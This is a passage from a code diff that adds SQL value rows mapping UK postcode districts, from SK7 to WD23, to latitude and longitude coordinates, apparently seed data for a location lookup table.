+('SK7', '', '', '53.37', '-2.141', 0, 1, 'uk'),
+('SK8', '', '', '53.38', '-2.207', 0, 1, 'uk'),
+('SK9', '', '', '53.327', '-2.23', 0, 1, 'uk'),
+('SL0', '', '', '51.524', '-0.514', 0, 1, 'uk'),
+('SL1', '', '', '51.517', '-0.619', 0, 1, 'uk'),
+('SL2', '', '', '51.534', '-0.603', 0, 1, 'uk'),
+('SL3', '', '', '51.499', '-0.552', 0, 1, 'uk'),
+('SL4', '', '', '51.475', '-0.625', 0, 1, 'uk'),
+('SL5', '', '', '51.405', '-0.661', 0, 1, 'uk'),
+('SL6', '', '', '51.523', '-0.726', 0, 1, 'uk'),
+('SL7', '', '', '51.574', '-0.776', 0, 1, 'uk'),
+('SL8', '', '', '51.578', '-0.707', 0, 1, 'uk'),
+('SL9', '', '', '51.597', '-0.554', 0, 1, 'uk'),
+('SM1', '', '', '51.366', '-0.191', 0, 1, 'uk'),
+('SM2', '', '', '51.352', '-0.197', 0, 1, 'uk'),
+('SM3', '', '', '51.37', '-0.213', 0, 1, 'uk'),
+('SM4', '', '', '51.392', '-0.199', 0, 1, 'uk'),
+('SM5', '', '', '51.368', '-0.166', 0, 1, 'uk'),
+('SM6', '', '', '51.36', '-0.143', 0, 1, 'uk'),
+('SM7', '', '', '51.323', '-0.2', 0, 1, 'uk'),
+('SN1', '', '', '51.557', '-1.774', 0, 1, 'uk'),
+('SN10', '', '', '51.336', '-1.986', 0, 1, 'uk'),
+('SN11', '', '', '51.439', '-1.999', 0, 1, 'uk'),
+('SN12', '', '', '51.372', '-2.137', 0, 1, 'uk'),
+('SN13', '', '', '51.424', '-2.211', 0, 1, 'uk'),
+('SN14', '', '', '51.475', '-2.194', 0, 1, 'uk'),
+('SN15', '', '', '51.473', '-2.079', 0, 1, 'uk'),
+('SN16', '', '', '51.593', '-2.09', 0, 1, 'uk'),
+('SN2', '', '', '51.579', '-1.782', 0, 1, 'uk'),
+('SN25', '', '', '51.591', '-1.796', 0, 1, 'uk'),
+('SN26', '', '', '51.611', '-1.783', 0, 1, 'uk'),
+('SN3', '', '', '51.561', '-1.743', 0, 1, 'uk'),
+('SN4', '', '', '51.531', '-1.819', 0, 1, 'uk'),
+('SN5', '', '', '51.565', '-1.837', 0, 1, 'uk'),
+('SN6', '', '', '51.62', '-1.741', 0, 1, 'uk'),
+('SN7', '', '', '51.649', '-1.564', 0, 1, 'uk'),
+('SN8', '', '', '51.407', '-1.685', 0, 1, 'uk'),
+('SN9', '', '', '51.324', '-1.786', 0, 1, 'uk'),
+('SO1', '', '', '50.96954', '-1.58632', 0, 1, 'uk'),
+('SO14', '', '', '50.908', '-1.395', 0, 1, 'uk'),
+('SO15', '', '', '50.916', '-1.423', 0, 1, 'uk'),
+('SO16', '', '', '50.935', '-1.431', 0, 1, 'uk'),
+('SO17', '', '', '50.926', '-1.394', 0, 1, 'uk'),
+('SO18', '', '', '50.924', '-1.36', 0, 1, 'uk'),
+('SO19', '', '', '50.902', '-1.354', 0, 1, 'uk'),
+('SO2', '', '', '50.92018', '-1.401528', 0, 1, 'uk'),
+('SO20', '', '', '51.114', '-1.505', 0, 1, 'uk'),
+('SO21', '', '', '51.075', '-1.314', 0, 1, 'uk'),
+('SO22', '', '', '51.065', '-1.331', 0, 1, 'uk'),
+('SO23', '', '', '51.067', '-1.308', 0, 1, 'uk'),
+('SO24', '', '', '51.084', '-1.147', 0, 1, 'uk'),
+('SO30', '', '', '50.919', '-1.306', 0, 1, 'uk'),
+('SO31', '', '', '50.869', '-1.296', 0, 1, 'uk'),
+('SO32', '', '', '50.948', '-1.208', 0, 1, 'uk'),
+('SO4', '', '', '50.819376', '-1.307477', 0, 1, 'uk'),
+('SO40', '', '', '50.915', '-1.5', 0, 1, 'uk'),
+('SO41', '', '', '50.755', '-1.565', 0, 1, 'uk'),
+('SO42', '', '', '50.81', '-1.534', 0, 1, 'uk'),
+('SO43', '', '', '50.887', '-1.583', 0, 1, 'uk'),
+('SO45', '', '', '50.847', '-1.394', 0, 1, 'uk'),
+('SO50', '', '', '50.969', '-1.339', 0, 1, 'uk'),
+('SO51', '', '', '50.994', '-1.503', 0, 1, 'uk'),
+('SO52', '', '', '50.977', '-1.441', 0, 1, 'uk'),
+('SO53', '', '', '50.984', '-1.38', 0, 1, 'uk'),
+('SP1', '', '', '51.074', '-1.789', 0, 1, 'uk'),
+('SP10', '', '', '51.211', '-1.483', 0, 1, 'uk'),
+('SP11', '', '', '51.227', '-1.514', 0, 1, 'uk'),
+('SP2', '', '', '51.074', '-1.825', 0, 1, 'uk'),
+('SP3', '', '', '51.101', '-2.006', 0, 1, 'uk'),
+('SP4', '', '', '51.165', '-1.764', 0, 1, 'uk'),
+('SP5', '', '', '51.023', '-1.772', 0, 1, 'uk'),
+('SP6', '', '', '50.936', '-1.801', 0, 1, 'uk'),
+('SP7', '', '', '51.004', '-2.183', 0, 1, 'uk'),
+('SP8', '', '', '51.037', '-2.289', 0, 1, 'uk'),
+('SP9', '', '', '51.23', '-1.66', 0, 1, 'uk'),
+('SQ2', '', '', '51.620921', '-4.017007', 0, 1, 'uk'),
+('SR1', '', '', '54.907', '-1.379', 0, 1, 'uk'),
+('SR2', '', '', '54.887', '-1.376', 0, 1, 'uk'),
+('SR3', '', '', '54.877', '-1.415', 0, 1, 'uk'),
+('SR4', '', '', '54.901', '-1.424', 0, 1, 'uk'),
+('SR5', '', '', '54.924', '-1.424', 0, 1, 'uk'),
+('SR6', '', '', '54.935', '-1.378', 0, 1, 'uk'),
+('SR7', '', '', '54.83', '-1.362', 0, 1, 'uk'),
+('SR8', '', '', '54.766', '-1.335', 0, 1, 'uk'),
+('SR9', '', '', '54.902', '-1.374', 0, 1, 'uk'),
+('SS0', '', '', '51.546', '0.692', 0, 1, 'uk'),
+('SS1', '', '', '51.537', '0.733', 0, 1, 'uk'),
+('SS11', '', '', '51.615', '0.538', 0, 1, 'uk'),
+('SS12', '', '', '51.605', '0.522', 0, 1, 'uk'),
+('SS13', '', '', '51.574', '0.51', 0, 1, 'uk'),
+('SS14', '', '', '51.575', '0.476', 0, 1, 'uk'),
+('SS15', '', '', '51.577', '0.431', 0, 1, 'uk'),
+('SS16', '', '', '51.562', '0.454', 0, 1, 'uk'),
+('SS17', '', '', '51.521', '0.441', 0, 1, 'uk'),
+('SS2', '', '', '51.55', '0.717', 0, 1, 'uk'),
+('SS3', '', '', '51.543', '0.793', 0, 1, 'uk'),
+('SS4', '', '', '51.594', '0.715', 0, 1, 'uk'),
+('SS5', '', '', '51.607', '0.65', 0, 1, 'uk'),
+('SS6', '', '', '51.588', '0.609', 0, 1, 'uk'),
+('SS7', '', '', '51.562', '0.579', 0, 1, 'uk'),
+('SS8', '', '', '51.522', '0.591', 0, 1, 'uk'),
+('SS9', '', '', '51.554', '0.652', 0, 1, 'uk'),
+('ST1', '', '', '53.026', '-2.172', 0, 1, 'uk'),
+('ST10', '', '', '52.989', '-1.963', 0, 1, 'uk'),
+('ST11', '', '', '52.967', '-2.065', 0, 1, 'uk'),
+('ST12', '', '', '52.948', '-2.171', 0, 1, 'uk'),
+('ST13', '', '', '53.101', '-2.018', 0, 1, 'uk'),
+('ST14', '', '', '52.903', '-1.868', 0, 1, 'uk'),
+('ST15', '', '', '52.9', '-2.148', 0, 1, 'uk'),
+('ST16', '', '', '52.813', '-2.118', 0, 1, 'uk'),
+('ST17', '', '', '52.789', '-2.099', 0, 1, 'uk'),
+('ST18', '', '', '52.814', '-2.081', 0, 1, 'uk'),
+('ST19', '', '', '52.713', '-2.147', 0, 1, 'uk'),
+('ST2', '', '', '53.027', '-2.135', 0, 1, 'uk'),
+('ST20', '', '', '52.798', '-2.263', 0, 1, 'uk'),
+('ST21', '', '', '52.868', '-2.259', 0, 1, 'uk'),
+('ST3', '', '', '52.981', '-2.122', 0, 1, 'uk'),
+('ST4', '', '', '52.995', '-2.183', 0, 1, 'uk'),
+('ST5', '', '', '53.015', '-2.237', 0, 1, 'uk'),
+('ST6', '', '', '53.057', '-2.189', 0, 1, 'uk'),
+('ST7', '', '', '53.088', '-2.265', 0, 1, 'uk'),
+('ST8', '', '', '53.115', '-2.167', 0, 1, 'uk'),
+('ST9', '', '', '53.05', '-2.099', 0, 1, 'uk'),
+('SW1', '', '', '51.496', '-0.139', 0, 1, 'uk'),
+('SW10', '', '', '51.483', '-0.181', 0, 1, 'uk'),
+('SW11', '', '', '51.466', '-0.164', 0, 1, 'uk'),
+('SW12', '', '', '51.446', '-0.148', 0, 1, 'uk'),
+('SW13', '', '', '51.475', '-0.244', 0, 1, 'uk'),
+('SW14', '', '', '51.465', '-0.265', 0, 1, 'uk'),
+('SW15', '', '', '51.457', '-0.226', 0, 1, 'uk'),
+('SW16', '', '', '51.422', '-0.128', 0, 1, 'uk'),
+('SW17', '', '', '51.43', '-0.163', 0, 1, 'uk'),
+('SW18', '', '', '51.45', '-0.19', 0, 1, 'uk'),
+('SW19', '', '', '51.423', '-0.203', 0, 1, 'uk'),
+('SW1A', '', '', '51.503', '-0.132', 0, 1, 'uk'),
+('SW1E', '', '', '51.497', '-0.138', 0, 1, 'uk'),
+('SW1H', '', '', '51.498', '-0.133', 0, 1, 'uk'),
+('SW1P', '', '', '51.495', '-0.132', 0, 1, 'uk'),
+('SW1V', '', '', '51.49', '-0.138', 0, 1, 'uk'),
+('SW1W', '', '', '51.493', '-0.147', 0, 1, 'uk'),
+('SW1X', '', '', '51.498', '-0.153', 0, 1, 'uk'),
+('SW1Y', '', '', '51.505', '-0.133', 0, 1, 'uk'),
+('SW2', '', '', '51.449', '-0.119', 0, 1, 'uk'),
+('SW20', '', '', '51.411', '-0.225', 0, 1, 'uk'),
+('SW3', '', '', '51.489', '-0.165', 0, 1, 'uk'),
+('SW4', '', '', '51.461', '-0.135', 0, 1, 'uk'),
+('SW5', '', '', '51.49', '-0.189', 0, 1, 'uk'),
+('SW6', '', '', '51.476', '-0.2', 0, 1, 'uk'),
+('SW7', '', '', '51.496', '-0.175', 0, 1, 'uk'),
+('SW8', '', '', '51.476', '-0.131', 0, 1, 'uk'),
+('SW9', '', '', '51.469', '-0.112', 0, 1, 'uk'),
+('SY1', '', '', '52.723', '-2.74', 0, 1, 'uk'),
+('SY10', '', '', '52.836', '-3.121', 0, 1, 'uk'),
+('SY11', '', '', '52.867', '-3.029', 0, 1, 'uk'),
+('SY12', '', '', '52.903', '-2.893', 0, 1, 'uk'),
+('SY13', '', '', '52.952', '-2.689', 0, 1, 'uk'),
+('SY14', '', '', '53.03', '-2.763', 0, 1, 'uk'),
+('SY15', '', '', '52.555', '-3.13', 0, 1, 'uk'),
+('SY16', '', '', '52.52', '-3.311', 0, 1, 'uk'),
+('SY17', '', '', '52.517', '-3.465', 0, 1, 'uk'),
+('SY18', '', '', '52.441', '-3.548', 0, 1, 'uk'),
+('SY19', '', '', '52.574', '-3.611', 0, 1, 'uk'),
+('SY2', '', '', '52.707', '-2.728', 0, 1, 'uk'),
+('SY20', '', '', '52.614', '-3.819', 0, 1, 'uk'),
+('SY21', '', '', '52.658', '-3.205', 0, 1, 'uk'),
+('SY22', '', '', '52.756', '-3.186', 0, 1, 'uk'),
+('SY23', '', '', '52.381', '-4.051', 0, 1, 'uk'),
+('SY24', '', '', '52.47', '-4.023', 0, 1, 'uk'),
+('SY25', '', '', '52.238', '-3.936', 0, 1, 'uk'),
+('SY3', '', '', '52.699', '-2.77', 0, 1, 'uk'),
+('SY4', '', '', '52.795', '-2.751', 0, 1, 'uk'),
+('SY5', '', '', '52.653', '-2.827', 0, 1, 'uk'),
+('SY6', '', '', '52.539', '-2.79', 0, 1, 'uk'),
+('SY7', '', '', '52.425', '-2.887', 0, 1, 'uk'),
+('SY8', '', '', '52.365', '-2.695', 0, 1, 'uk'),
+('SY9', '', '', '52.498', '-2.986', 0, 1, 'uk'),
+('TA1', '', '', '51.013', '-3.101', 0, 1, 'uk'),
+('TA10', '', '', '51.033', '-2.825', 0, 1, 'uk'),
+('TA11', '', '', '51.06', '-2.702', 0, 1, 'uk'),
+('TA12', '', '', '50.974', '-2.772', 0, 1, 'uk'),
+('TA13', '', '', '50.946', '-2.81', 0, 1, 'uk'),
+('TA14', '', '', '50.946', '-2.75', 0, 1, 'uk'),
+('TA15', '', '', '50.951', '-2.718', 0, 1, 'uk'),
+('TA16', '', '', '50.907', '-2.792', 0, 1, 'uk'),
+('TA17', '', '', '50.908', '-2.835', 0, 1, 'uk'),
+('TA18', '', '', '50.882', '-2.786', 0, 1, 'uk'),
+('TA19', '', '', '50.934', '-2.914', 0, 1, 'uk'),
+('TA2', '', '', '51.033', '-3.102', 0, 1, 'uk'),
+('TA20', '', '', '50.873', '-2.962', 0, 1, 'uk'),
+('TA21', '', '', '50.977', '-3.245', 0, 1, 'uk'),
+('TA22', '', '', '51.045', '-3.545', 0, 1, 'uk'),
+('TA23', '', '', '51.162', '-3.352', 0, 1, 'uk'),
+('TA24', '', '', '51.182', '-3.51', 0, 1, 'uk'),
+('TA3', '', '', '50.994', '-3.039', 0, 1, 'uk'),
+('TA4', '', '', '51.071', '-3.268', 0, 1, 'uk'),
+('TA5', '', '', '51.146', '-3.104', 0, 1, 'uk'),
+('TA6', '', '', '51.125', '-3', 0, 1, 'uk'),
+('TA7', '', '', '51.13', '-2.912', 0, 1, 'uk'),
+('TA8', '', '', '51.244', '-2.994', 0, 1, 'uk'),
+('TA81', '', '', '51.235366', '-2.995549', 0, 1, 'uk'),
+('TA9', '', '', '51.226', '-2.956', 0, 1, 'uk'),
+('TD1', '', '', '55.624', '-2.811', 0, 1, 'uk'),
+('TD10', '', '', '55.712', '-2.449', 0, 1, 'uk'),
+('TD11', '', '', '55.788', '-2.316', 0, 1, 'uk'),
+('TD12', '', '', '55.653', '-2.239', 0, 1, 'uk'),
+('TD13', '', '', '55.93', '-2.37', 0, 1, 'uk'),
+('TD14', '', '', '55.868', '-2.124', 0, 1, 'uk'),
+('TD15', '', '', '55.747', '-2.012', 0, 1, 'uk'),
+('TD2', '', '', '55.733', '-2.753', 0, 1, 'uk'),
+('TD3', '', '', '55.7', '-2.572', 0, 1, 'uk'),
+('TD4', '', '', '55.642', '-2.671', 0, 1, 'uk'),
+('TD5', '', '', '55.587', '-2.416', 0, 1, 'uk'),
+('TD6', '', '', '55.583', '-2.694', 0, 1, 'uk'),
+('TD7', '', '', '55.537', '-2.871', 0, 1, 'uk'),
+('TD8', '', '', '55.475', '-2.541', 0, 1, 'uk'),
+('TD9', '', '', '55.397', '-2.776', 0, 1, 'uk'),
+('TF1', '', '', '52.703', '-2.503', 0, 1, 'uk'),
+('TF10', '', '', '52.769', '-2.385', 0, 1, 'uk'),
+('TF11', '', '', '52.663', '-2.36', 0, 1, 'uk'),
+('TF12', '', '', '52.612', '-2.48', 0, 1, 'uk'),
+('TF13', '', '', '52.578', '-2.582', 0, 1, 'uk'),
+('TF2', '', '', '52.7', '-2.439', 0, 1, 'uk'),
+('TF3', '', '', '52.664', '-2.444', 0, 1, 'uk'),
+('TF4', '', '', '52.661', '-2.467', 0, 1, 'uk'),
+('TF5', '', '', '52.715', '-2.536', 0, 1, 'uk'),
+('TF6', '', '', '52.735', '-2.554', 0, 1, 'uk'),
+('TF7', '', '', '52.636', '-2.449', 0, 1, 'uk'),
+('TF8', '', '', '52.63', '-2.479', 0, 1, 'uk'),
+('TF9', '', '', '52.897', '-2.469', 0, 1, 'uk'),
+('TN1', '', '', '51.135', '0.269', 0, 1, 'uk'),
+('TN10', '', '', '51.21', '0.286', 0, 1, 'uk'),
+('TN11', '', '', '51.206', '0.269', 0, 1, 'uk'),
+('TN12', '', '', '51.172', '0.44', 0, 1, 'uk'),
+('TN13', '', '', '51.276', '0.186', 0, 1, 'uk'),
+('TN14', '', '', '51.295', '0.162', 0, 1, 'uk'),
+('TN15', '', '', '51.3', '0.27', 0, 1, 'uk'),
+('TN16', '', '', '51.294', '0.052', 0, 1, 'uk'),
+('TN17', '', '', '51.096', '0.538', 0, 1, 'uk'),
+('TN18', '', '', '51.043', '0.526', 0, 1, 'uk'),
+('TN19', '', '', '51.002', '0.408', 0, 1, 'uk'),
+('TN2', '', '', '51.138', '0.287', 0, 1, 'uk'),
+('TN20', '', '', '51.026', '0.256', 0, 1, 'uk'),
+('TN21', '', '', '50.959', '0.265', 0, 1, 'uk'),
+('TN22', '', '', '50.981', '0.101', 0, 1, 'uk'),
+('TN23', '', '', '51.139', '0.86', 0, 1, 'uk'),
+('TN24', '', '', '51.15', '0.887', 0, 1, 'uk'),
+('TN25', '', '', '51.144', '0.94', 0, 1, 'uk'),
+('TN26', '', '', '51.1', '0.806', 0, 1, 'uk'),
+('TN27', '', '', '51.166', '0.707', 0, 1, 'uk'),
+('TN28', '', '', '50.982', '0.953', 0, 1, 'uk'),
+('TN29', '', '', '50.993', '0.934', 0, 1, 'uk'),
+('TN3', '', '', '51.122', '0.252', 0, 1, 'uk'),
+('TN30', '', '', '51.062', '0.698', 0, 1, 'uk'),
+('TN31', '', '', '50.963', '0.687', 0, 1, 'uk'),
+('TN32', '', '', '50.98', '0.49', 0, 1, 'uk'),
+('TN33', '', '', '50.91', '0.477', 0, 1, 'uk'),
+('TN34', '', '', '50.864', '0.583', 0, 1, 'uk'),
+('TN35', '', '', '50.88', '0.612', 0, 1, 'uk'),
+('TN36', '', '', '50.921', '0.702', 0, 1, 'uk'),
+('TN37', '', '', '50.871', '0.558', 0, 1, 'uk'),
+('TN38', '', '', '50.863', '0.546', 0, 1, 'uk'),
+('TN39', '', '', '50.846', '0.455', 0, 1, 'uk'),
+('TN4', '', '', '51.146', '0.259', 0, 1, 'uk'),
+('TN40', '', '', '50.844', '0.484', 0, 1, 'uk'),
+('TN5', '', '', '51.064', '0.362', 0, 1, 'uk'),
+('TN6', '', '', '51.053', '0.175', 0, 1, 'uk'),
+('TN7', '', '', '51.092', '0.109', 0, 1, 'uk'),
+('TN8', '', '', '51.195', '0.079', 0, 1, 'uk'),
+('TN9', '', '', '51.191', '0.276', 0, 1, 'uk'),
+('TQ1', '', '', '50.471', '-3.521', 0, 1, 'uk'),
+('TQ10', '', '', '50.424', '-3.819', 0, 1, 'uk'),
+('TQ11', '', '', '50.481', '-3.782', 0, 1, 'uk'),
+('TQ12', '', '', '50.529', '-3.612', 0, 1, 'uk'),
+('TQ13', '', '', '50.593', '-3.718', 0, 1, 'uk'),
+('TQ14', '', '', '50.55', '-3.507', 0, 1, 'uk'),
+('TQ2', '', '', '50.474', '-3.543', 0, 1, 'uk'),
+('TQ3', '', '', '50.443', '-3.575', 0, 1, 'uk'),
+('TQ4', '', '', '50.423', '-3.57', 0, 1, 'uk'),
+('TQ5', '', '', '50.391', '-3.522', 0, 1, 'uk'),
+('TQ6', '', '', '50.347', '-3.589', 0, 1, 'uk'),
+('TQ7', '', '', '50.282', '-3.783', 0, 1, 'uk'),
+('TQ8', '', '', '50.237', '-3.771', 0, 1, 'uk'),
+('TQ9', '', '', '50.416', '-3.69', 0, 1, 'uk'),
+('TR1', '', '', '50.263', '-5.054', 0, 1, 'uk'),
+('TR10', '', '', '50.166', '-5.118', 0, 1, 'uk'),
+('TR11', '', '', '50.149', '-5.086', 0, 1, 'uk'),
+('TR12', '', '', '50.043', '-5.179', 0, 1, 'uk'),
+('TR13', '', '', '50.109', '-5.285', 0, 1, 'uk'),
+('TR14', '', '', '50.21', '-5.296', 0, 1, 'uk'),
+('TR15', '', '', '50.233', '-5.237', 0, 1, 'uk'),
+('TR16', '', '', '50.232', '-5.221', 0, 1, 'uk'),
+('TR17', '', '', '50.125', '-5.468', 0, 1, 'uk'),
+('TR18', '', '', '50.117', '-5.541', 0, 1, 'uk'),
+('TR19', '', '', '50.1', '-5.627', 0, 1, 'uk'),
+('TR2', '', '', '50.253', '-4.952', 0, 1, 'uk'),
+('TR20', '', '', '50.131', '-5.488', 0, 1, 'uk'),
+('TR21', '', '', '49.93', '-6.256', 0, 1, 'uk'),
+('TR22', '', '', '49.892', '-6.344', 0, 1, 'uk'),
+('TR23', '', '', '49.953', '-6.352', 0, 1, 'uk'),
+('TR24', '', '', '49.955', '-6.334', 0, 1, 'uk'),
+('TR25', '', '', '49.964', '-6.293', 0, 1, 'uk'),
+('TR26', '', '', '50.202', '-5.478', 0, 1, 'uk'),
+('TR27', '', '', '50.182', '-5.403', 0, 1, 'uk'),
+('TR3', '', '', '50.217', '-5.109', 0, 1, 'uk'),
+('TR36', '', '', '50.248109', '-5.056774', 0, 1, 'uk'),
+('TR4', '', '', '50.283', '-5.136', 0, 1, 'uk'),
+('TR5', '', '', '50.308', '-5.191', 0, 1, 'uk'),
+('TR6', '', '', '50.342', '-5.152', 0, 1, 'uk'),
+('TR7', '', '', '50.413', '-5.074', 0, 1, 'uk'),
+('TR8', '', '', '50.399', '-5.037', 0, 1, 'uk'),
+('TR9', '', '', '50.414', '-4.936', 0, 1, 'uk'),
+('TS1', '', '', '54.572', '-1.238', 0, 1, 'uk'),
+('TS10', '', '', '54.607', '-1.068', 0, 1, 'uk'),
+('TS11', '', '', '54.588', '-1.026', 0, 1, 'uk'),
+('TS12', '', '', '54.562', '-0.965', 0, 1, 'uk'),
+('TS13', '', '', '54.55', '-0.854', 0, 1, 'uk'),
+('TS14', '', '', '54.532', '-1.06', 0, 1, 'uk'),
+('TS15', '', '', '54.491', '-1.331', 0, 1, 'uk'),
+('TS16', '', '', '54.524', '-1.353', 0, 1, 'uk'),
+('TS17', '', '', '54.537', '-1.302', 0, 1, 'uk'),
+('TS18', '', '', '54.562', '-1.323', 0, 1, 'uk'),
+('TS19', '', '', '54.577', '-1.345', 0, 1, 'uk'),
+('TS2', '', '', '54.585', '-1.235', 0, 1, 'uk'),
+('TS20', '', '', '54.586', '-1.313', 0, 1, 'uk'),
+('TS21', '', '', '54.627', '-1.425', 0, 1, 'uk'),
+('TS22', '', '', '54.618', '-1.313', 0, 1, 'uk'),
+('TS23', '', '', '54.608', '-1.285', 0, 1, 'uk'),
+('TS24', '', '', '54.696', '-1.21', 0, 1, 'uk'),
+('TS25', '', '', '54.663', '-1.223', 0, 1, 'uk'),
+('TS26', '', '', '54.688', '-1.229', 0, 1, 'uk'),
+('TS27', '', '', '54.723', '-1.288', 0, 1, 'uk'),
+('TS28', '', '', '54.725', '-1.373', 0, 1, 'uk'),
+('TS29', '', '', '54.71', '-1.419', 0, 1, 'uk'),
+('TS3', '', '', '54.561', '-1.196', 0, 1, 'uk'),
+('TS4', '', '', '54.556', '-1.222', 0, 1, 'uk'),
+('TS5', '', '', '54.551', '-1.251', 0, 1, 'uk'),
+('TS6', '', '', '54.566', '-1.153', 0, 1, 'uk'),
+('TS7', '', '', '54.534', '-1.183', 0, 1, 'uk'),
+('TS8', '', '', '54.522', '-1.23', 0, 1, 'uk'),
+('TS9', '', '', '54.466', '-1.163', 0, 1, 'uk'),
+('TW0', '', '', '51.465384', '-0.300162', 0, 1, 'uk'),
+('TW1', '', '', '51.45', '-0.325', 0, 1, 'uk'),
+('TW10', '', '', '51.45', '-0.302', 0, 1, 'uk'),
+('TW11', '', '', '51.426', '-0.331', 0, 1, 'uk'),
+('TW12', '', '', '51.422', '-0.368', 0, 1, 'uk'),
+('TW13', '', '', '51.438', '-0.4', 0, 1, 'uk'),
+('TW14', '', '', '51.452', '-0.419', 0, 1, 'uk'),
+('TW15', '', '', '51.43', '-0.456', 0, 1, 'uk'),
+('TW16', '', '', '51.416', '-0.416', 0, 1, 'uk'),
+('TW17', '', '', '51.397', '-0.447', 0, 1, 'uk'),
+('TW18', '', '', '51.428', '-0.506', 0, 1, 'uk'),
+('TW19', '', '', '51.452', '-0.502', 0, 1, 'uk'),
+('TW2', '', '', '51.446', '-0.35', 0, 1, 'uk'),
+('TW20', '', '', '51.427', '-0.55', 0, 1, 'uk'),
+('TW3', '', '', '51.467', '-0.362', 0, 1, 'uk'),
+('TW4', '', '', '51.466', '-0.383', 0, 1, 'uk'),
+('TW5', '', '', '51.48', '-0.381', 0, 1, 'uk'),
+('TW6', '', '', '51.47', '-0.446', 0, 1, 'uk'),
+('TW7', '', '', '51.473', '-0.332', 0, 1, 'uk'),
+('TW8', '', '', '51.486', '-0.307', 0, 1, 'uk'),
+('TW81', '', '', '51.477214', '-0.312279', 0, 1, 'uk'),
+('TW9', '', '', '51.468', '-0.293', 0, 1, 'uk'),
+('UB1', '', '', '51.514', '-0.372', 0, 1, 'uk'),
+('UB10', '', '', '51.548', '-0.453', 0, 1, 'uk'),
+('UB11', '', '', '51.519', '-0.458', 0, 1, 'uk'),
+('UB2', '', '', '51.499', '-0.378', 0, 1, 'uk'),
+('UB3', '', '', '51.505', '-0.422', 0, 1, 'uk'),
+('UB4', '', '', '51.524', '-0.407', 0, 1, 'uk'),
+('UB5', '', '', '51.543', '-0.375', 0, 1, 'uk'),
+('UB6', '', '', '51.539', '-0.342', 0, 1, 'uk'),
+('UB7', '', '', '51.506', '-0.469', 0, 1, 'uk'),
+('UB8', '', '', '51.535', '-0.473', 0, 1, 'uk'),
+('UB9', '', '', '51.581', '-0.49', 0, 1, 'uk'),
+('W1', '', '', '51.515', '-0.142', 0, 1, 'uk'),
+('W10', '', '', '51.521', '-0.213', 0, 1, 'uk'),
+('W11', '', '', '51.512', '-0.204', 0, 1, 'uk'),
+('W12', '', '', '51.508', '-0.23', 0, 1, 'uk'),
+('W13', '', '', '51.513', '-0.32', 0, 1, 'uk'),
+('W14', '', '', '51.494', '-0.209', 0, 1, 'uk'),
+('W1A', '', '', '51.519399', '-0.14057', 0, 1, 'uk'),
+('W1B', '', '', '51.514', '-0.139', 0, 1, 'uk'),
+('W1C', '', '', '51.514', '-0.148', 0, 1, 'uk'),
+('W1D', '', '', '51.513', '-0.131', 0, 1, 'uk'),
+('W1E', '', '', '51.512877', '-0.136464', 0, 1, 'uk'),
+('W1F', '', '', '51.513', '-0.135', 0, 1, 'uk'),
+('W1G', '', '', '51.519', '-0.147', 0, 1, 'uk'),
+('W1H', '', '', '51.517', '-0.159', 0, 1, 'uk'),
+('W1J', '', '', '51.507', '-0.143', 0, 1, 'uk'),
+('W1K', '', '', '51.511', '-0.149', 0, 1, 'uk'),
+('W1M', '', '', '51.518', '-0.149', 0, 1, 'uk'),
+('W1P', '', '', '51.51761', '-0.134368', 0, 1, 'uk'),
+('W1S', '', '', '51.511', '-0.141', 0, 1, 'uk'),
+('W1T', '', '', '51.52', '-0.135', 0, 1, 'uk'),
+('W1U', '', '', '51.518', '-0.152', 0, 1, 'uk'),
+('W1W', '', '', '51.519', '-0.14', 0, 1, 'uk'),
+('W2', '', '', '51.515', '-0.178', 0, 1, 'uk'),
+('W3', '', '', '51.509', '-0.268', 0, 1, 'uk'),
+('W4', '', '', '51.491', '-0.262', 0, 1, 'uk'),
+('W5', '', '', '51.512', '-0.301', 0, 1, 'uk'),
+('W6', '', '', '51.492', '-0.229', 0, 1, 'uk'),
+('W7', '', '', '51.511', '-0.334', 0, 1, 'uk'),
+('W8', '', '', '51.5', '-0.193', 0, 1, 'uk'),
+('W9', '', '', '51.526', '-0.191', 0, 1, 'uk'),
+('WA1', '', '', '53.394', '-2.569', 0, 1, 'uk'),
+('WA10', '', '', '53.454', '-2.755', 0, 1, 'uk'),
+('WA11', '', '', '53.477', '-2.719', 0, 1, 'uk'),
+('WA12', '', '', '53.454', '-2.632', 0, 1, 'uk'),
+('WA13', '', '', '53.382', '-2.468', 0, 1, 'uk'),
+('WA14', '', '', '53.386', '-2.359', 0, 1, 'uk'),
+('WA15', '', '', '53.384', '-2.325', 0, 1, 'uk'),
+('WA16', '', '', '53.303', '-2.371', 0, 1, 'uk'),
+('WA2', '', '', '53.41', '-2.58', 0, 1, 'uk'),
+('WA3', '', '', '53.453', '-2.548', 0, 1, 'uk'),
+('WA4', '', '', '53.365', '-2.574', 0, 1, 'uk'),
+('WA5', '', '', '53.399', '-2.636', 0, 1, 'uk'),
+('WA6', '', '', '53.273', '-2.722', 0, 1, 'uk'),
+('WA7', '', '', '53.33', '-2.703', 0, 1, 'uk'),
+('WA8', '', '', '53.372', '-2.741', 0, 1, 'uk'),
+('WA9', '', '', '53.436', '-2.718', 0, 1, 'uk'),
+('WC1', '', '', '51.521', '-0.122', 0, 1, 'uk'),
+('WC1A', '', '', '51.517', '-0.125', 0, 1, 'uk'),
+('WC1B', '', '', '51.518', '-0.126', 0, 1, 'uk'),
+('WC1E', '', '', '51.52', '-0.131', 0, 1, 'uk'),
+('WC1H', '', '', '51.524', '-0.126', 0, 1, 'uk'),
+('WC1N', '', '', '51.522', '-0.12', 0, 1, 'uk'),
+('WC1R', '', '', '51.519', '-0.116', 0, 1, 'uk'),
+('WC1V', '', '', '51.517', '-0.118', 0, 1, 'uk'),
+('WC1X', '', '', '51.525', '-0.116', 0, 1, 'uk'),
+('WC2', '', '', '51.513', '-0.123', 0, 1, 'uk'),
+('WC2A', '', '', '51.516', '-0.115', 0, 1, 'uk'),
+('WC2B', '', '', '51.515', '-0.121', 0, 1, 'uk'),
+('WC2E', '', '', '51.512', '-0.123', 0, 1, 'uk'),
+('WC2H', '', '', '51.513', '-0.127', 0, 1, 'uk'),
+('WC2N', '', '', '51.51', '-0.125', 0, 1, 'uk'),
+('WC2R', '', '', '51.512', '-0.119', 0, 1, 'uk'),
+('WD1', '', '', '51.647', '-0.4', 0, 1, 'uk'),
+('WD17', '', '', '51.661', '-0.405', 0, 1, 'uk'),
+('WD18', '', '', '51.648', '-0.414', 0, 1, 'uk'),
+('WD19', '', '', '51.631', '-0.391', 0, 1, 'uk'),
+('WD2', '', '', '51.667', '-0.377', 0, 1, 'uk'),
+('WD23', '', '', '51.645', '-0.365', 0, 1, 'uk'),
